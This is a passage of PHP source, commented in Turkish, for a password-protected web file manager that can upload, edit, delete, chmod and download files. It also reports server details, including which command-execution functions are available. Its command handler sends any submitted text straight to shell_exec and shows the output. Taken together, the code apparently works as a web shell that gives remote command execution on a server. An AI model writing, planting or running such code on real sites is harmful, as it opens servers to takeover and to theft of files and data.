'file-code', 'html' => 'file-code', 'css' => 'file-code', 'js' => 'file-code', 'json' => 'file-code', 'txt' => 'file-text', 'pdf' => 'file-text', 'jpg' => 'image', 'jpeg' => 'image', 'png' => 'image', 'gif' => 'image', 'zip' => 'file-archive', 'rar' => 'file-archive', ); return isset($icons[$extension]) ? $icons[$extension] : 'file'; } // Sistem Bilgileri function getSystemInfo() { $currentPath = isset($_GET['path']) ? $_GET['path'] : getcwd(); return array( 'os' => PHP_OS, 'server' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'Bilinmiyor', 'php_version' => phpversion(), 'current_user' => get_current_user(), 'server_ip' => isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : 'Bilinmiyor', 'disk_free' => disk_free_space('/'), 'disk_total' => disk_total_space('/'), 'writable' => is_writable($currentPath), 'functions' => array( 'exec' => function_exists('exec'), 'shell_exec' => function_exists('shell_exec'), 'system' => function_exists('system'), ) ); } // Mevcut URL'i Oluştur function getCurrentURL($currentPath, $isFile = false) { $docRoot = realpath($_SERVER['DOCUMENT_ROOT']); $relativePath = str_replace($docRoot, '', $currentPath); $relativePath = str_replace("\\", "/", $relativePath); $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST']; if ($isFile) { // Dosya ise direkt dosya yolunu göster return $protocol . '://' . $host . $relativePath; } else { // Klasör ise sonuna / ekle $relativePath = rtrim($relativePath, '/'); return $protocol . '://' . $host . $relativePath . '/'; } } if ($isAuthenticated) { $baseDir = realpath($_SERVER['DOCUMENT_ROOT']); $currentPath = isset($_GET['path']) ? securePath($_GET['path'], $baseDir) : $baseDir; if ($currentPath === false) { $currentPath = $baseDir; } // Dosya İşlemleri if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['csrf_token'])) { if (!validateCSRFToken($_POST['csrf_token'])) { $error = "Geçersiz CSRF token!"; } else { // Dosya Yükleme if (isset($_FILES['upload_file'])) { $uploadFile = $_FILES['upload_file']; $targetPath = $currentPath . '/' . basename($uploadFile['name']); if ($uploadFile['size'] > MAX_FILE_SIZE) { $error = "Dosya boyutu çok büyük! Maksimum: " . formatSize(MAX_FILE_SIZE); } elseif (move_uploaded_file($uploadFile['tmp_name'], $targetPath)) { $success = "Dosya başarıyla yüklendi!"; } else { $error = "Dosya yükleme hatası!"; } } // Yeni Klasör Oluşturma if (isset($_POST['create_folder'])) { $folderName = preg_replace('/[^a-zA-Z0-9_\-\.]/', '', $_POST['folder_name']); $newFolder = $currentPath . '/' . $folderName; if (mkdir($newFolder, 0755)) { $success = "Klasör başarıyla oluşturuldu!"; } else { $error = "Klasör oluşturma hatası!"; } } // Yeni Dosya Oluşturma if (isset($_POST['create_file'])) { $fileName = preg_replace('/[^a-zA-Z0-9_\-\.]/', '', $_POST['file_name']); $newFile = $currentPath . '/' . $fileName; if (file_put_contents($newFile, '') !== false) { $success = "Dosya başarıyla oluşturuldu!"; } else { $error = "Dosya oluşturma hatası!"; } } // Dosya Düzenleme if (isset($_POST['edit_file']) && isset($_POST['file_path'])) { $editPath = securePath($_POST['file_path'], $baseDir); if ($editPath !== false && is_file($editPath)) { if (file_put_contents($editPath, $_POST['file_content']) !== false) { $success = "Dosya başarıyla kaydedildi!"; $editPath = $_POST['file_path']; // Keep in edit mode } else { $error = "Dosya kaydetme hatası!"; } } } // Dosya/Klasör Silme if (isset($_POST['delete']) && isset($_POST['delete_path'])) { $deletePath = securePath($_POST['delete_path'], $baseDir); if ($deletePath !== false) { if (is_dir($deletePath)) { if (rmdir($deletePath)) { $success = "Klasör başarıyla silindi!"; } else { $error = "Klasör boş değil veya silinemedi!"; } } elseif (is_file($deletePath)) { if (unlink($deletePath)) { $success = "Dosya başarıyla silindi!"; } else { $error = "Dosya silme hatası!"; } } } } // Yeniden Adlandırma if (isset($_POST['rename']) && isset($_POST['old_path']) && isset($_POST['new_name'])) { $oldPath = securePath($_POST['old_path'], $baseDir); $newName = preg_replace('/[^a-zA-Z0-9_\-\.]/', '', $_POST['new_name']); $newPath = dirname($oldPath) . '/' . $newName; if ($oldPath !== false && rename($oldPath, $newPath)) { $success = "İsim başarıyla değiştirildi!"; } else { $error = "İsim değiştirme hatası!"; } } // Chmod İşlemi if (isset($_POST['chmod']) && isset($_POST['chmod_path']) && isset($_POST['permissions'])) { $chmodPath = securePath($_POST['chmod_path'], $baseDir); $perms = octdec($_POST['permissions']); if ($chmodPath !== false && chmod($chmodPath, $perms)) { $success = "İzinler başarıyla değiştirildi!"; } else { $error = "İzin değiştirme hatası!"; } } // Komut Çalıştırma (Dikkatli kullanın!) if (isset($_POST['run_command']) && isset($_POST['command'])) { $command = $_POST['command']; $output = shell_exec($command . " 2>&1"); $commandOutput = $output; } } } // Dosya İndirme if (isset($_GET['download'])) { $downloadPath = securePath($_GET['download'], $baseDir); if ($downloadPath !== false && is_file($downloadPath)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"'); header('Content-Length: ' . filesize($downloadPath)); readfile($downloadPath); exit; } } // Dizin Listesi $items = array(); if (is_dir($currentPath)) { $scan = scandir($currentPath); foreach ($scan as $item) { if ($item === '.' || $item === '..') continue; $itemPath = $currentPath . '/' . $item; $items[] = array( 'name' => $item, 'path' => $itemPath, 'type' => is_dir($itemPath) ? 'folder' : 'file', 'size' => is_file($itemPath) ? filesize($itemPath) : 0, 'modified' => filemtime($itemPath), 'permissions' => substr(sprintf('%o', fileperms($itemPath)), -4), 'icon' => is_dir($itemPath) ? 'folder' : getFileIcon($item) ); } // Sıralama: Klasörler önce usort($items, function($a, $b) { if ($a['type'] === $b['type']) { return strcasecmp($a['name'], $b['name']); } return $a['type'] === 'folder' ? -1 : 1; }); } // Breadcrumb $relativePath = str_replace($baseDir, '', $currentPath); $pathParts = array_filter(explode('/', $relativePath)); $breadcrumbs = array(); $tempPath = $baseDir; $breadcrumbs[] = array('name' => 'Root', 'path' => $baseDir); foreach ($pathParts as $part) { $tempPath .= '/' . $part; $breadcrumbs[] = array('name' => $part, 'path' => $tempPath); } $systemInfo = getSystemInfo(); $currentURL = getCurrentURL($currentPath); } $csrfToken = generateCSRFToken(); ?>